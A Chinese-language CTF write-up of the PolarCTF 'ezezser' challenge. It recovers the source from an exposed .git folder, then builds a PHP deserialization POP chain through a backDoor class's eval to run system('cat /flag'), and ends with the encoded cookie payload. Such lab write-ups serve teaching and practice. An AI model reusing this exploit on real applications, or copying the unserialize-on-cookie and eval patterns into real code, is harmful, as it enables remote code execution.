ezezser(反序列化+命令执行+git泄露)

题目：

$polarday = $_GET['polarday'];
$polarnight = $_GET['polarnight'];

if (isset($polarday) && isset($polarnight)) {
    $polar520 = unserialize($_COOKIE['polar520']);
    $polar520->login($polarday, $polarnight);
}
class backDoor {
    private $key;
    public function getInfo() {
        eval($this->key);
    }
}
难道就这些？

扫描发现存在git泄露

使用pipx run githacker --url "http://f9f5ac91-d707-4419-8f53-4ff2b298c82d.www.polarctf.com:8090/.git" --output-folder test进行下载
git log --all查看

git reset --hard 8046933c34de9a559a316483dbd1eb205d71b151修复

b77b7cb3d0737e1363420>type index.php
<?php
error_reporting(0);
highlight_file(__FILE__);

$polarday=$_GET['polarday'];
$polarnight=$_GET['polarnight'];

if(isset($polarday) && isset($polarnight)){
    $polar520 = unserialize($_COOKIE['polar520']);
    $polar520->login($polarday,$polarnight);
}

class info{
    private $polar520='nukaka';
    public function getInfo(){
        return $this->polar520;
    }
}

class polar520{
    private $polarday='nukaka';
    private $polarnight='nukaka';
    private $polar=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($a,$b){
        return $this->polarday===$a&&$this->polarnight===$b;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class backDoor{
    private $key;
    public function getInfo(){
        eval($this->key);
    }
}

思路：

分析可知在polar520调用了$this->class->getInfo()，可执行命令；又知在polar520的__construct()中调用$this->class=new info();那么将$this->class=new backDoor();就可以正常调用到backDoor的getInfo()从而执行命令。

exp:

<?php

class polar520{

    private $class = 'info';

    public function __construct(){
        $this->class=new backDoor;
    }

}

class backDoor{
    private $key="system('cat /flag');";
}


$a = new polar520();
echo urlencode(serialize($a));

http://f9f5ac91-d707-4419-8f53-4ff2b298c82d.www.polarctf.com:8090/?polarnight=1&polarday=1
在请求头添加
Cookie:
polar520=O%3A8%3A%22polar520%22%3A1%3A%7Bs%3A15%3A%22%00polar520%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A13%3A%22%00backDoor%00key%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D